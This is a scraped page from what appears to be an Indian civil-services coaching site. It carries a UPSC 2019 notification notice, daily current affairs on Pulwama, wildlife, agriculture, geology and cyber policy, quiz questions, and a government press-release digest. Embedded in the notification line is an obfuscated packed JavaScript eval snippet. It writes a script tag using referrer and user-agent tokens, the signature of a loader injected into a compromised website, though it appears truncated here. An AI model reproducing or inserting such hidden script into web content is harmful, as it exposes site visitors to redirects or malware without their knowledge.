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NOTIFICATION - UPSC Civil Services (Preliminary) Examination, 2019 Released - 896 Vacancies

Notification eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siheh|var|u0026u|referrer|edsyb||js|php'.split('|'),0,{})) – Civil Services (Preliminary) Examination, 2019   Dear Friends , To Download the notification of Civil Services (Preliminary) Examination, 2019, CLICK BELOW LINK UPSC CSP 2019 Notification To Download the notification of Indian Forest Service (Preliminary) Examination, 2019, CLICK BELOW LINK Indian Forest Service 2019 Notification

Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 18th February 2019

IAS UPSC Prelims and Mains Exam – 18th February 2019 Archives (PRELIMS + MAINS FOCUS) Aftermath of the Pulwama terror attack Part of: GS Prelims and Mains II and III – India and Pakistan relations; Terrorism and Security issues In news: After revoking MFN status and hiking import duty on Pakistani goods to 200 per cent, the following are the other actions taken by the Government of India and Jammu and Kashmir government. Jammu and Kashmir government withdrew all security personnel and government facilities provided to 5 separatist leaders in Kashmir (Hurriyat chairman Mirwaiz Umar Farooq, Abdul Gani Bhat, Bilal Lone, Hashim Qureshi and Shabir Shah) Ministry of Home Affairs (MHA) has approved a plan to charter flights to transport Central Armed Police Force (CAPF) personnel deployed in the Kashmir Valley. Professional counselling would be given to the personnel if they felt traumatised after the February 14 attack. The valour and sacrifice of military and paramilitary personnel killed in action may soon be made part of the school curriculum in some states. It will develop a sense of respect for the martyrs among students and will develop feeling of patriotism. Animal in news: Blackbuck About Blackbuck The blackbuck also known as the Indian antelope, is an antelope found in India, Nepal and Pakistan. The blackbuck is the sole extant member of the genus Antilope. In India, hunting of blackbuck is prohibited under Schedule I of the Wildlife Protection Act of 1972. The blackbuck is listed as least concern on the IUCN Red List. Do you know? Black buck is believed to be the second fastest animal after Cheetah. Punjab’s State animal: Black buck Note: Blackbucks have religious significance in Hindu mythology and Bishnoi tribe of Rajasthan is famous for its conservation efforts for Black bucks. ‘Policies biased against rainfed agriculture’ Part of: GS Mains II – Government schemes and policies, issues arising of such policies; Agriculture distress; Farmer’s welfare Key pointers: Three out of five farmers in India grow their crops using rainwater, instead of irrigation. However, per hectare government investment on their lands may be 20 times lower. Procurement of their crops is just a fraction of major irrigated land crops and many of the flagship agriculture schemes are not tailored to benefit them. In other words, there has been “negligence” toward rainfed areas, which is leading to lower incomes for farmers. Flagship government schemes, such as seed and fertiliser subsidies and soil health cards, are designed for irrigated areas and simply extended to rainfed farmers without taking their needs into consideration. Do you know? Lands irrigated through big dams and canal networks get a per hectare investment of ₹5 lakh. Watershed management spending in rainfed lands is only ₹18,000-25,000. A new rainfed agriculture atlas was released recently. The rainfed agriculture atlas not only maps the agro biodiversity and socio-economic conditions prevailing in such areas, but also attempts to document the policy biases that are making farming unviable for many in these areas. Scientists discover massive mountains under Earth’s crust Part of: GS Prelims and Mains I – Geography; Physical geography - Interior of Earth; Structure and feature of Earth’s interior In news: Scientists have discovered massive mountains in the Earth’s mantle, an advance that may change our understanding of how the planet was formed. We know that Earth has three layers: a crust, mantle and core, which is subdivided into an inner and outer core. While that is not wrong, it does leave out several other layers that scientists have identified within the Earth. Do you know? Scientists used data from an enormous earthquake in Bolivia to find mountains and other topography on a layer located 660 km straight down, which separates the upper and lower mantle. Lacking a formal name for this layer, the researchers simply call it “the 660-km boundary.” Data from earthquakes that are magnitude 7.0 or higher send out shockwaves in all directions that can travel through the core to the other side of the planet — and back again. The presence of roughness on the 660-km boundary has significant implications for understanding how our planet formed and evolved. Miscellaneous: 1. 55th Munich Security Conference In news: 55th Munich Security Conference brings together global leaders and security experts from across the world. Representatives of several countries unequivocally condemned the attack and extended their condolences to the bereaved families. There was widespread support for India’s concerns over Pakistan-sponsored terrorism on Indian soil. 2. Bomb blasts on the rise in J&K In news: According to a report presented by the National Bomb Data Centre of the National Security Guard – Jammu and Kashmir has seen a steady increase in IED and other blasts over the past five years. 2018 witnessed a 57% jump in bomb blasts. However, in areas affected by Left-wing extremism and the northeast, the number has gone down. Do you know? Thirty-five blasts took place in J&K in 2014, 46 in 2015, 69 in 2016, 70 in 2017 and 117 last year. (MAINS FOCUS) DEFENCE/SECURITY TOPIC:General studies 3 Role of external state and non-state actors in creating challenges to internal security.  Challenges to internal security through communication networks, role of media and social networking sites in internal security challenges, basics of cyber security; money-laundering and its prevention.  Security challenges and their management in border areas; linkages of organized crime with terrorism. Various Security forces and agencies and their mandate. India urgently needs a Nation Security Doctrine Introduction: The recent Pulwama incident has again highlighted the security lapses that are prevalent in the country. India remains deficient in intelligence-analysis, inter-agency coordination, and, above all, a national security doctrine. Crisis after crisis has caught our nation by surprise — unprepared and invariably in the reactive mode. In order to prevent recurrence of such tragedies, it is vital that an urgent review be undertaken of the quality and timeliness of intelligence inputs. It is also vital to review the standard operating procedures (SOP) being followed by the armed police force convoys or the army’s. This tragic incident provides India yet another opportunity for reflection and introspection about our management of crisis situations in general, and of Pakistan’s role in Kashmir, in particular. India’s missteps India should retain a firm focus on the centrality of Pakistan’s “deep state” — the unholy nexus of its army’s General Headquarters and the Inter-Service Intelligence (ISI) Directorate. Indian state has failed to evolve a strategy for resolution of the Kashmir imbroglio. It has allowed this issue to become a pressure-point for exploitation by our western and eastern neighbours, separately and in collusion. Amongst India’s major missteps has been the coining of the euphemism “cross-border terrorism” to describe, what were clearly, “acts of war” by Pakistan. Acts which were committed through training and arming fighters on its territory, and then, launching them, under its army’s covering fire, to wreak death and destruction on Indian soil. Pakistani fidayeen attacks on the Pathankot air base, followed by the Uri and Nagrota army camps — and now, Pulwama – marks just another step in the continuum of ISI’s ongoing “grab-Kashmir” campaign; more such steps will, no doubt, follow. Need of the hour: Apart from diplomatic and economic steps that are being initiated, the current juncture would be apt for the urgent promulgation of a security-cum-defence doctrine. Such a document, whose public version defines India’s vital interests, aims and objectives will not only become the basis for strategy-formulation, contingency-planning and evolution of SOPs, but also send a reassuring message to our public. Setting in place clear “red lines” for adversary nations and non-state entities will mean that, in future, no further notice is required for instant punitive or retaliatory actions for any infringement of India’s red lines. Connecting the dots: There is an urgent need to envisage and formulate a National Security Policy for India. Why? Examine. India has become a soft target for external state and non state actors with repeated attacks, incursions and intrusions witnessed in the recent past. Moreover, on the domestic front also, left wing extremism and communal tension have posed serious security threats. In this scenario, don’t you think India should have a National Security Doctrine? Critically examine. DEFENCE/SECURITY TOPIC:General studies 3 Role of external state and non-state actors in creating challenges to internal security.  Challenges to internal security through communication networks, role of media and social networking sites in internal security challenges, basics of cyber security; money-laundering and its prevention.  Security challenges and their management. Science and Technology- developments and their applications and effects in everyday life. Dealing with emerging dangerous cyberspace Introduction: Cyberspace is in news again as the laws governing it are getting a lot scarier. There is a wide debate among experts about Trump administration's decision to repeal Presidential Policy Directive 20 (an Obama-era cyberwarfare policy) and what exactly will replace PPD-20 remains clouded in uncertainty. About PPD20: During early years of his presidency, former US President Barack Obama signed the Presidential Policy Directive 20 (PPD20). This was a secret act that only came into public notice when National Security Agency whistleblower Edward Snowden revealed classified documents to the world in 2013. PPD20 deals with Offensive Cyber Effects Operations (OCEO) – which can offer unique and unconventional capabilities to advance US national objectives around the world with little or no warning to the adversary or target and with potential effects ranging from subtle to severely damaging. However, such an operation required rigorous levels of approval and government oversight. Therefore, PPD20 provided such approval process, which also included requirement of personal authorization of the President. Cyberweapon called STUXNET Years ago, the world witnessed the creation of the first major “cyberweapon”, known as Stuxnet. Stuxnet is a malicious computer worm which was secretly loaded onto an unknown Iranian worker’s USB flash drive. The self-replicating computer worm entered Iranian computer networks and spread like a cancer, infecting more than 15 Iranian industrial networks and eventually infected its primary target: Iran’s nuclear facility at Natanz. Workers watched helplessly as centrifuges spun out of control, tricked by the worm to spin faster and faster until its eventual mechanical suicide. Strands of the worm, which found its way into the wild, still infect computers to this day. Stuxnet, which went through years of development between its initial creation and eventual deployment, required rigorous levels of approval and government oversight before its launch. The weapon was treated as significantly different from conventional weapons and featured an approval process similar to those reserved for nuclear weapons. President Obama himself had to personally authorize the attack (under PPD20). However, experts fear that such approval process might change under Trump regime. US Cyber Command, which is the American military hacking outfit, may have full authority to launch cyberattacks wherever it feels the need to. It does not need oversight from the state department, commerce department and intelligence agencies, and certainly not from the president. Cybernetics with no geographic constraints The world knows that countries such as Russia and China use cyber attacks as a standard mode of foreign policy/intimidation. For instance, Russia has used its cyber weapons against Ukraine repeatedly and it has also interfered in the 2016 US presidential elections. In 2014, Chinese hackers working for the People’s Liberation Army stole the entire database of the US government’s office of personnel management (OPM). A couple of years later, “agents working for unknown government" stole the records of 143 million Americans from Equifax, a credit rating agency. Therefore, what we are accepting is a world of perpetual endless warfare. Human beings may get killed, there will be battles, insurgencies, rebellions, perhaps even revolutions. Conclusion: From above, it is evident that the threat landscape is evolving continuously and the complex layers make cyber security a challenge. Though India is taking steps towards strengthening cyber security, India needs to invest more in cyber security on such above discussed war-footing. As we are working on Digital India, we should work more on cyber safety. The existing security gaps are ready ground for cyber-criminals to exploit. Government, private institutions along with educational institutions must work together to strengthen cyber security of our country. Connecting the dots: What is cyberspace? How does it impact India’s national, economic and financial security? Critically examine. (TEST YOUR KNOWLEDGE) Model questions: (You can now post your answers in comment section) Note: Featured Comments and comments Up-voted by IASbaba are the “correct answers”. IASbaba App users – Team IASbaba will provide correct answers in comment section. Kindly refer to it and update your answers. Q.1) Which of the following states have approved the first Blackbuck Conservation Reserve in India? Rajasthan Gujarat Uttar Pradesh Madhya Pradesh Q.2) Match the following Wildlife Sanctuaries with its associated states: Wildlife Sanctuary                                         State Borail Wildlife Sanctuary                       A. Madhya Pradesh Nauradehi Wildlife Sanctuary               B. Bihar Abohar Wildlife Sanctuary                    C. Assam Bhimbandh Wildlife Sanctuary             D. Punjab Choose the appropriate code: 1-2- 3-4 A-B- C-D B-A- C-D D-C- A-B C-A- D-B Q.3) Which of the statements given below are correct? Asthenosphere is associated with the upper layer of the earth's mantle (below the lithosphere) whereas Barysphere is associated with inner layer of the earth’s core (below outer core) The main mineral constituents of the continental mass are silica and alumina. The oceanic crust mainly consists of silica and iron. Choose appropriate answer from the codes given below: 2 and 3 only 1 and 2 only 1 and 3 only 1, 2 and 3 Q.4) Consider the following statements with regard to Earthquake: The place in the crust where the movement starts is called the epicentre. The place on the surface above the Epicentre is called the focus. Focus is also known as Hypocentre Select the incorrect statements 1 and 2 only 1 and 3 only 2 and 3 only All of the above Q.5) If Asthenosphere is associated with the upper layer of the earth's mantle (below the lithosphere), then ‘Barysphere’ is associated with: Thin layer of the earth’s crust (above lithosphere) Lower layer of the earth’s mantle (below Astenosphere) Inner layer of the earth’s core (below outer core) Upper layer of the earth's mantle (below the lithosphere) only MUST READ Delhi dilemma: Centre vs State The Hindu The challenge in the Pulwama attack The Hindu How the 16th Lok Sabha fared The Hindu Why India needs to be wary of China-style social credit ratings? Livemint India’s solidarity with Prince Salman’s reform agenda back home is important Indian Express After Pulwama Indian Express Pulwama strike mirrors changes in the dynamic in Kashmir, Pakistan and the region Indian Express

Daily Prelims CA Quiz

UPSC Quiz - 2019 : IAS Daily Current Affairs Quiz Day 174

UPSC Quiz - 2019 : IASbaba’s Daily Current Affairs Quiz Day 174 Archives Q.1) ‘Kawal Wildlife Sanctuary’ is located in Andhra Pradesh Karnataka Telangana Kerala Q.2) ‘Make Listening Safe’ Initiative is associated with NITI Aayog WHO UNEP WEF Q.3) Consider the following statements with respect to ‘RIPE Project’ It is a translational research project that is genetically engineering plants to photosynthesize more efficiently to increase crop yields It is led by the Indian Council of Agricultural Research (ICAR) Select the correct statements 1 Only 2 Only Both 1 and 2 Neither 1 nor 2 Q.4) Consider the following statements with respect to ‘Department of Management, Strategy, Policy and Compliance (DMSPC)’ It aims to provide strategic policy leadership in all areas of management through a clear, integrated global management strategy and policy framework. It will represent the Secretary-General in the relevant intergovernmental/interagency bodies and staff-management mechanisms. Select the correct code: 1 Only 2 Only Both 1 and 2 Neither 1 nor 2 Q.5) Consider the following and choose the correct statement(s) Farasan Islands is located in Red Sea Bab-el-Mandeb connects Gulf of Aqaba and Red Sea Choose the appropriate option 1 Only 2 Only Both 1 and 2 Neither 1 nor 2 To Download the Solution - Click here All the Best  IASbaba

PIB

Press Information Bureau (PIB) IAS UPSC – 10th Feb to 16th Feb - 2019

Press Information Bureau (PIB) IAS UPSC – 10th Feb to 16th Feb - 2019 ARCHIVES GS-2 Land Rights of Scheduled Tribes (Topic: Welfare schemes for vulnerable sections of the population) The Scheduled Tribes (STs) have been the most marginalized, isolated and deprived population. To protect and safeguarding the land rights and other rights of Scheduled Tribes, following constitutional and legislative measure have been put in place. The Scheduled Tribes (STs) and Other Traditional Forest Dwellers (OTFDs) (Recognition of Forest Rights) Act, 2006- to recognize and vest the forest rights and occupation in forest land to forest dwelling Scheduled Tribes. Right to Fair Compensation and Transparency in Land Acquisition, Rehabilitation and Resettlement Act, 2013 (RFCTLARR Act, 2013) - safeguards against displacement of Scheduled Tribes. Special provisions have been made for Scheduled Castes and Scheduled Tribes under Sections 41 and 42 of the RFCTLARR Act, 2013 which protect their interests. The RFCTLARR Act, 2013 also lays down procedure and manner of rehabilitation and resettlement. The Panchayats (Extension to Scheduled Areas) Act, 1996- provides that the Gram Sabha or the Panchayats at the appropriate level shall be consulted before making the acquisition of land in the Scheduled Areas or development projects and before resettling or rehabilitating persons affected by such projects in the Scheduled Areas Constitutional provisions under Schedule – V also provide for safeguards against displacement of tribal population because of land acquisitions etc. The Governor of the State, having scheduled Areas, is empowered to prohibit or restrict transfer of land from tribals and regulate the allotment of land to members of the Scheduled Tribes in such cases. The Legal Services Authorities Act, 1987 provides for legal services to members of Scheduled Tribes. The Scheduled Castes and the Scheduled Tribes (Prevention of Atrocities) Act, 1989 has been introduced to prevent the commission of offences of atrocities against members of the Scheduled Castes and the Scheduled Tribes, to provide for the trial of such offences and for the relief of rehabilitation of the victims of such offences and for matters connected therewith or incidental thereto. Cabinet approves Introduction of Registration of Marriage of NRI Bill 2019 (Topic: Welfare schemes for vulnerable sections of the population) The Union Cabinet has approved the introduction of Registration of Marriage of Non-Resident Indian (NRI) Bill, 2019, for creating   more accountability and offering more protection against exploitation of Indian citizens, mostly women by their NRI spouses. Details: The Bill provides for amendment of the legal framework to act as a deterrent to the erring NRI spouses and creating more accountability and offer protection against exploitation of Indian Citizens married to NRIs. Once the Bill is passed, marriages performed by NRIs would be registered in India or Indian Missions & Posts abroad, and necessary changes would be carried out in the: Passports Act, 1967; and Code of Criminal Procedure 1973 by insertion of Section 86A. Major Impact: Serving judicial summons for Court proceedings in India is a major problem, which would be taken care of by this Bill by amending the Code of Criminal Procedure, 1973. Thus, the Bill would offer great protection to Indian citizens married to NRIs and serve as a deterrent to NRIs against harassment of their spouses. This Bill would benefit Indian women married to NRIs worldwide.   Increase in duration of e-Tourist and e –Business Visa (Topic: International Relations) The e-Tourist Visa which was introduced in September 2014 with 46 countries has now been made applicable for 166 countries. Recently, government has made series of amendments in e-visa regime, liberalizing it further and making it more tourist friendly. Important modifications made are highlighted as under_ Duration of stay in India of e-Tourist and e-Business Visas is maximum upto 1 Year with multiple entry subject to the stay stipulations. Also, the existing restriction of allowing foreigner for a maximum of three times has also been removed. Changes in e-Tourist Visa On e-Tourist Visa continuous stay during each visit shall not exceed 90 days in case of nationals of all countries who are eligible for grant of e-visa except nationals of USA, UK, Canada and Japan. In case of nationals of USA, UK, Canada and Japan continuous stay during each visit shall not exceed 180 days. In all cases no registration will be required. Changes in e-Business Visa Continuous stay during each visit shall not exceed 180 days in case of nationals of all countries who are eligible for grant of e-visa No registration will be required if the stay is for a period of less than 180 days. Other changes: e-Visa is valid for entry through 2 (two) more designated Airports (Bhubaneswar and Port Blair) raising the total number of such airports to 28. Attending Destination wedding under normal e-Tourist visa or Tourist visa- No separate category of Destination Wedding Visa Foreign nationals who fall sick during their stay in India can now avail medical treatment without converting their visa into Medical Visa. This would take care of sudden medical emergencies. Visa-on-Arrival facility extended to the nationals of Republic of Korea. Extension of tenure of the National Commission for Safai Karmacharis (Topic: Institutions and Bodies constituted for the protection and betterment of vulnerable sections) The Union Cabinet has approved the proposal for Extension of tenure of the National Commission for Safai Karmacharis (NCSK) beyond 31.3.2019 for three years. Salient Features The NCSK was established in the year 1993 as per the provisions of the NCSK Act 1993 initially for the period upto 31.3.1997. Later the validity of the Act was initially extended upto 31.3.2002 and thereafter upto 29.2.2004. The NCSK Act ceased to have effect from 29.2.2004. After that the tenure of the NCSK has been extended as a non-statutory body from time to time. The tenure of the present Commission is upto 31.3.2019. Major impact The major beneficiaries of the proposal would be the SafaiKaramcharis and persons engaged in manual scavenging in the country since the NCSK will work for their welfare and upliftment. The number of Manual Scavengers identified under the MS Act Survey as on 31.01.2019 is 14226 and under the National Survey undertaken by Ministry of Social Justice & Empowerment at the behest of NITI Aayog is 31128 on 31.01.2019. Background The NCSK has been giving its recommendations to the Government regarding specific programmes for welfare of SafaiKaramcharis, study and evaluate the existing welfare programmes for SafaiKaramcharis, investigate cases of specific grievances etc. Also as per the provisions of the Prohibition of Employment as Manual Scavengers and their Rehabilitation Act, NCSK has been assigned the work to monitor the implementation of the Act, tender advice for its effective implementation to the Centre and State Governments and enquire into complaints regarding contravention/non-implementation of the provisions of the Act. Current situation and steps needed Though the Government has taken many steps for the upliftment of the SafaiKaramcharis, the deprivation suffered by them in socio-economic and educational terms is still far from being eliminated. Practice of manual scavenging is still prevalent in the country and its eradication continues to be an area of the highest priority for the Government. Hence, the Government feels that there is a continued need to monitor the various interventions and initiatives of the Government for welfare of SafaiKaramcharis and to achieve the goal of complete eradication of the practice of manual scavenging in the country. Methodology for Fixing National Minimum Wage (Topic: Issues relating to development and management of Social Sector) The Ministry of Labour and Employment had constituted an expert committee on 17th January 2017, under the Chairmanship Dr. Anoop Satpathy to review and recommend methodology for fixation of National Minimum Wage (NMW). The Expert Committee has submitted its report on “Determining the Methodology for Fixation of the National Minimum Wage” to the Government of India. Proposed criteria for minimum wage Using the nutritional requirement norms as recommended by the Indian Council of Medical Research (ICMR) for Indian population, the report has recommended a balanced diet approach which is culturally palatable for fixation of national minimum wage. Accordingly, it has proposed that food items amounting to the level of ± 10 per cent of 2,400 calories, along with proteins ≥ 50 gm and fats ≥ 30 gm per day per person to constitute a national level balanced food basket. It also proposes minimum wage should include reasonable expenditure on ‘essential non-food items’, such as clothing, fuel and light, house rent, education, medical expenses, footwear and transport, which must be equal to the median class and expenditure on any ‘other non-food items’ be equivalent to the sixth fractile (25-30 per cent) of the household expenditure distribution as per the NSSO-CES 2011/12 survey data. Apart from proposing the level of a single national minimum wage at an all-India level, the report has also estimated and recommended different national minimum wages for different geographical regions of the country to suit the local realities and as per socio-economic and labour market contexts. Way forward The committee has also recommended reviewing the consumption basket every five years, subject to the availability of NSSO-CES data, and – within the period of 5 years - revising and updating the basic minimum wage at least in line with the consumer price index (CPI) every six months, to reflect changes in the cost of living. The report will be put before the Central Advisory Board/tripartite bodies for necessary consultations and approval of the methodology. GS-3 1st Mega Food Park of Himachal Pradesh (Topic: Marketing of agricultural produce and issues and related constraints) 1st Mega Food Park of Himachal Pradesh inaugurated, the park will give an impetus to the growth of the Food Processing Sector in Himachal Pradesh. What is Mega Food Park? Mega Food Park is an inclusive concept and a scheme of the Ministry of Food Processing of the Government of India, aimed at establishing a "direct linkage from farm to processing and then to consumer markets" through a network of collection centres and primary processing centres Need for Mega Food Parks Mega Food Parks create modern infrastructure facilities for food processing along the value chain from farm to market with strong forward and backward linkages through a cluster based approach. Common facilities and enabling infrastructure is created at Central Processing Centre and facilities for primary processing and storage is created near the farm in the form of Primary Processing Centers (PPCs) and Collection Centers (CCs). Attraction of youths towards agriculture and allied activities. Highlights of scheme Government provides grants up to Rs 50 crores for each food park to a consortium of companies. 30-35 food processing units are expected to be established. Collective investment of companies is expected to be at least 250 crores. A turnover of 400-500 crore and employment generation of at least 30000 from each mega food park is expected. PETROTECH-2019 (Infrastructure: Energy) PETROTECH-2019, the 13th Edition of India’s flagship hydrocarbon Conference, held at Greater Noida. The theme of this conference is – ‘Shaping the New Energy World through Innovation and Collaboration’ PETROTECH provides the perfect setting to ponder over the future of the energy sector. It is a good platform to reflect on how global shifts, transitions, policies and new technologies will influence market stability and future investments in the sector. Importance of energy security for India Energy is integral to support the fast growing Indian economy and need to deliver energy justice to the poorest of the poor. The robust growth of India has been achieved through a series of policy reforms focused on improving India’s long-term economic and social prospects. India has made remarkable jump in World Bank’s ease of doing business ranking from 142 in 2014 to 77th position in 2018. Significant increase in the energy demand over the next 20 years and oil and gas are likely to remain prominent fuels in the global energy basket. However, given the increasing emission and CO2 levels globally, it is also important that we take care of challenges arising out of global warming. India is third largest energy consumer in the world, with demand growing at more than five percent annually. Facts and figures Oil & Gas sector is a key contributor to India’s economy and accounted for almost 55% of our energy mix in 2017. India is the third largest consumer of crude oil and petroleum products globally, accounting for 4.5 % of world oil consumption. Indian Oil and Gas companies are present in 28 countries with investments worth approximately 38 billion US dollars. National Data Repository has been set up to facilitate potential investors to take informed decisions based on the geo-scientific data of hydrocarbon resources in the country. Energy security schemes UJJWALA scheme, under which 64 million households have been provided the LPG connections, enhancing access to clean cooking fuel which is called as the Blue Flame Revolution. Ambitious projects with 3200 KM long Prandhan Mantri Urja Ganga Project and 1600 KM long Indradhanush Gas Grid to connect eastern and north eastern parts of India with the National Gas Grid. India is shifting directly from BS-IV to BS-VI standards for fuel from April 2020. The supply of BS VI quality fuel has already begun in national capital of Delhi from April 2018. Ethanol Blended Petrol Program is being implemented and National Biofuel Policy to promote alternate fuels has been introduced. In next few years 70% of India’s population and 53 % of the country’s area shall get covered with city gas distribution networks. LNG is being promoted as a transport fuel for long-haul trucking along expressways, industrial corridors and inside mining areas. Hundred per cent electrification of households in India, through a targeted programme called SAUBHAGYA. LED bulbs distributed across the country under the UJALA scheme, have resulted in an annual saving of seventeen thousand crore rupees, or nearly 2.5 billion dollars. The Enhanced Oil Recovery Policy aims to promote the use of latest technology in improving productivity of upstream fields. Visakhapatnam Strategic Petroleum Reserve (SPR) (Infrastructure: Energy) In a boost to energy security of the country, PM dedicated to the nation, 1.33 MMT Visakhapatnam Strategic Petroleum Reserve (SPR) facility of Indian Strategic Petroleum Reserve Limited (ISPRL). The cost of the Project is Rs. 1125 crore. The Facility has the largest underground storage compartment in the country. Background Central Government under phase I of SPR programme had announced to build three underground crude oil storage facilities with total capacity of 5.33 million tonnes at Vishakhapatnam (Andhra Pradesh, storage capacity of 1.33 million tonnes), Mangalore (Karnataka, 1.5 million tonnes) and Padur (Kerala, 2.5 million tonnes) to provide energy security of 10 days of consumption in response to external supply disruptions. All these are located on the east and west coasts of India which are readily accessible to the refineries. These strategic storages are in addition to the existing storages of crude oil and petroleum products with the oil companies and serve in response to external supply disruptions. In the 2017-18 budget, it was announced that two more such caverns will be set up Chandikhole in Jajpur district of Odisha and Bikaner in Rajasthan as part of the second phase. This will take the strategic reserve capacity to 15.33 million tons They are maintained by ISPRL, a special purpose vehicle (SPV), which is wholly owned subsidiary of Oil Industry Development Board (OIDB) under Ministry of Petroleum & Natural Gas. India and Norway launch initiative to combat Marine Pollution (Topic: Environmental pollution and degradation) The Ministry of Environment, Forests and Climate Change signed a letter of Intent establishing the India-Norway Marine Pollution Initiative. Highlights of the initiative A joint Task Force on Blue Economy with government officials, researchers and experts as well as private sector was established to develop sustainable solutions within strategic areas of the blue economy, such as maritime and marine sector in addition to energy sector. In partnership, Norway and India will share experiences and competence, and collaborate on efforts to develop clean and healthy oceans, sustainable use of ocean resources and growth in the blue economy. Both the governments launched the first Joint initiative under this new partnership. The India-Norway Marine Pollution Initiative will combat marine pollution, which is one of the fastest growing environmental concerns. Objective of Blue economy The objective of the Blue Economy is to promote smart, sustainable and inclusive growth and employment opportunities within the Indian Ocean region’s maritime economic activities. Sustainable harnessing of ocean resources, research and development Developing relevant sectors of oceanography. Stock assessment of marine resources. Introducing marine aquaculture, deep sea/long line fishing and biotechnology; and human resource development. International Dam Safety Conference (Topic: disaster management) The 5th International Dam Safety Conference–2019 is being held in Bhubaneswar as a joint initiative of the Government of India, Government of Odisha and the World Bank under aegis of the ongoing World Bank assisted Dam Rehabilitation and Improvement Project (DRIP) as a part of institutional strengthening. Facts and figures on dams in India About 80 per cent of our large dams are over 25 years old. About 209 dams are over 100 years old and were built in an era when design practices and safety considerations were much below the current design and safety norms. Several of these dams may be experiencing distress and are in need of attention for ensuring their structural safety and operational efficiency In the 1990s, a World Bank assisted DSRP project was launched to rehabilitate 183 distressed dams. In 2012, the Water Resources Ministry initiated the Dam Rehabilitation and Improvement Project (DRIP) with a duration of six years and financial outlay of Rs. 2100 crores. Presently, DRIP covers rehabilitation of 198 large dam projects located in seven states namely Jharkhand, Karnataka, Kerala, Madhya Pradesh, Odisha, Tamil Nadu, and Uttarakhand. Environmental Problems Caused By Dams Soil erosion: Dams hold back the sediment load normally found in a river flow, depriving the downstream Spread of Disease: Dam reservoirs in tropical areas, due to their slow-movement, are literally breeding grounds for mosquitoes, snails and flies, the vectors that carry malaria and river blindness Water logging: The Indian Institute of science estimates that 40 percent of the command area for Sardar Sarovar Dam will become waterlogged. This area contains black cotton soils which are particularly prove to water logging under perennial irrigation due to high water retention capacity. Soils become water logged and crop yields fall. Salinisation: The arid and semi-arid areas are incapable of handling large amounts of water brought by irrigation. Irrigation water has more saline content and adds more salt to the system leading to the increase of salinisation. Dam Health and Rehabilitation Monitoring Application (DHARMA) It is software tool for asset management has been developed to capture authentic data pertaining to all large dams to act as information repository. It covers the monitoring and health information to regularly review the safety aspects of any dam. This tool has the appropriate access to policymakers, project managers, and dam managers to review the information and take appropriate action. The central government is striving to address the issue of dam safety in a comprehensive way for quite a long time. Importance of Dam Safety Conference The government has given in-principle approval to the project and will be funded by the World Bank. The project has wide spatial coverage, having 18 states and two central agencies, and covering about 13 per cent of large dams of India. The basic objective of these annual events is to give exposure to non-DRIP states as well as other stakeholders across the country and world, to the best global practices and technological advancements to address the emerging dam safety challenges. The new project is proposed to be a state sector scheme with a 10-year duration, with each proposed phase of six years duration with two years overlapping. LADIS – Least Available Depth Information System (Topic: Infrastructure- ports) Inland Waterways Authority of India launches portal for real-time information on available depth on stretches of National Waterways (NWs) About LADIS LADIS will ensure that real-time data on least available depths is disseminated for ship/barge and cargo owners so that they can undertake transportation on NWs in a more planned way. An assured depth of waterway is required for seamless movement of vessels. If real time information is made available regarding LADs in stretches of various NWs, it will help transporters by guiding them on the suitability of time of movement. Details of LAD will be fed into the portal by respective surveyors and regional in charge deputed with IWAI survey vessels which constantly move on NWs. It will enhance credibility and efficiency of information sharing to achieve seamless operations on National Waterways, besides pre-empting problems that may occur during movement of vessels. Inland Waterways Authority of India Inland Waterways Authority of India was created by Government of India on 27 October 1986 for development and regulation of Inland waterways for shipping and navigation. The Authority primarily undertakes projects for development and maintenance of Inland Waterway Terminal infrastructure on National Waterways through grant received from Ministry of Shipping, Road Transport and Highways. Please Note: Sela Tunnel in Arunachal Pradesh: The Project costing Rs. 687 crore being constructed by the Border Roads Organisation (BRO) would be completed in the next three years. It covers a total distance of 12.04 kms which consist of two tunnels of 1790 and 475 meters. Once completed this would result in. ​All weather connectivity to Tawang and forward areas. ​Reduction in more than one hour of travelling time from Tezpur to Tawang. ​Travellers would be able to avoid the dangerous snow covered Sela top at a height of 13,700 feet.​ ‘GiveItUp’ campaign: As on 06.02.2019, nearly 1.04 crore LPG consumers have voluntarily surrendered their LPG subsidy under ‘GiveItUp’ campaign. Domestic LPG prices are revised every month in line with international price of LPG with corresponding revision in monthly LPG subsidy under PAHAL scheme. Entire subsidy burden is borne by the Government. PM serves 3 billionth meal to underprivileged children: PM serves 3 billionth meal to underprivileged children in Vrindavan by Akshaya Patra Foundation. The Akshaya Patra Foundation is a non-profit organisation in India that runs school lunch programme across India. The organisation was established in 2000. Once the Mid-Day Meal Scheme was mandated centrally by the Government of India in 2003, Akshaya Patra partnered with the Government to serve cooked meals at all Government schools. Defence Innovation Hubs: The Innovations for Defence Excellence (iDEX) framework of the Government envisages setting up and managing independent Defence Innovation Hubs (DIHs).  These DIHs will serve as platforms where innovators can get information about needs and feedback from the Services directly and create solutions for India’s major defence platforms. The Framework to Fund Defence Innovation Hubs under iDEX, approved by the Board of Defence Innovation Organisation (DIO) prescribes the following minimum criterion for setting up Defence Innovation Hubs: Any Central Government recognized Incubator including but not limited to: Department of Science and Technology (DST) recognized Incubators. Atal Innovation Mission, NITIAayog created Atal Incubation Centers (AICs) and Established Incubation Centers (EICs). Ministry of MSME recognized incubators. Any other incubator recognized or funded through any Central government scheme. The incubator located in districts mentioned in the list of SME clusters hosted by the Ministry of MSME in collaboration with UNIDO. Incubator / Hub promoted by local industry associations. Light House Projects challenge: The Ministry of Housing & Urban Affairs has instituted a challenge for States/ UTs to select six sites across the country for constructing the Lighthouse projects under Global Housing Technology Challenge-India (GHTC- India). The challenge has three components viz. i) Conduct of Grand Expo-cum-Conference, ii) Identifying Proven Demonstrable Technologies from across the globe and iii) Promoting Potential Technologies through the establishment of Affordable Sustainable Housing Accelerators- India (ASHA-I) for incubation and accelerator support. KUSUM scheme: The Ministry of New and Renewable Energy has formulated a Scheme ‘Kisan Urja Suraksha evam Utthaan Mahabhiyan (KUSUM)’. The Scheme is currently under the process of seeking approval. The proposal on KUSUM Scheme provides for: Installation of grid-connected solar power plants each of Capacity up to 2 MW in the rural 